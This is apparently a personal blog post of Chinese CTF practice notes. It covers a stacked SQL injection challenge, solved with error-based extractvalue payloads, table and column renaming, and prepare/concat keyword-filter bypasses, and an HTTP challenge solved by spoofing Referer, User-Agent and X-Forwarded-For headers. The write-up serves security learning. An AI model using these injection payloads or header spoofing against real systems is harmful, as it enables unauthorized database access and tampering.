note-27

2019 review-强网杯-随便注

再做一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1'show tables#

1';show tables;#

1';select group_concat(culumn_name);#

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

0';extractvalue(1,concat('!',database()));#

1';if(1=1,sleep(5),0);#

1'or extractvalue(1,concat('!',version())) #
!10.3.18-MariaDB
1'or extractvalue(1,concat('!',version())) #

1';rename table words to words1;rename table `1919810931114514` to words;ALTER TABLE words RENAME COLUMN flag TO id;#
//没改成功,看返回大概是说找不到名为'id'column,column是行还是列来着?是列我朝

1';rename table words to words1;ALTER TABLE employees CHANGE flag id VARCHAR(50);#

1';rename table words to words1;rename table `1919810931114514` to words;ALTER TABLE words CHANGE flag id VARCHAR(50);#
//成功

//
//

1
2
3
4
5
6
7
8
语句背景分析:
这段 SQL 包含多个操作,核心目的是:

将表 words 重命名为 words1。

将表 1919810931114514 重命名为 words

修改新表 words 的字段 flag,将其重命名为 id,并更改其数据类型为 varchar(50)。

想不起当初的做题笔记了,只是看到正则的情况想到了改表明和列明,应该只是单纯的想起,因为连列名都忘了查

当时还记了其它绕过方法,
试一下预编译绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1';show tables name;

1';show columns from `1919810931114514`;

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}


1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);exectue hack;@
//不是,明明一模一样,为啥我手敲的执行不了
//1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);execute hack;#
//woc,原来是excute

1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);execute hack;@

[极客大挑战 2019]Http

根据提示
f12 搜索secret,找到:
http://node5.buuoj.cn:27381/Secret.php
然后就是根据提示改请求头,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Access-Control-Allow-Origin: https://Sycsecret.buuoj.cn

From: https://Sycsecret.buuoj.cn

Referer: https://Sycsecret.buuoj.cn

Referer : https://Sycsecret.buuoj.cn
//Please use "Syclover" browser


Referer : https://Sycsecret.buuoj.cn
Browser : Syclover

Referer : https://Sycsecret.buuoj.cn
User-Agent: Syclover

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover Safari/537.36
Referer : https://Sycsecret.buuoj.cn

User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer : https://Sycsecret.buuoj.cn
//No!!! you can only read this locally!!!

User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer : https://Sycsecret.buuoj.cn
From : 127.0.0.1

User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer : https://Sycsecret.buuoj.cn
X-Forwarded-For : 127.0.0.1
//flag{41cea244-340a-4be9-bd6e-ba42db379119}

有点当初BuildCTF里的一题,但是那道题要改的更多


note-27
https://aidemofashi.github.io/2025/04/17/note-27/
作者
aidemofashi
发布于
2025年4月17日
许可协议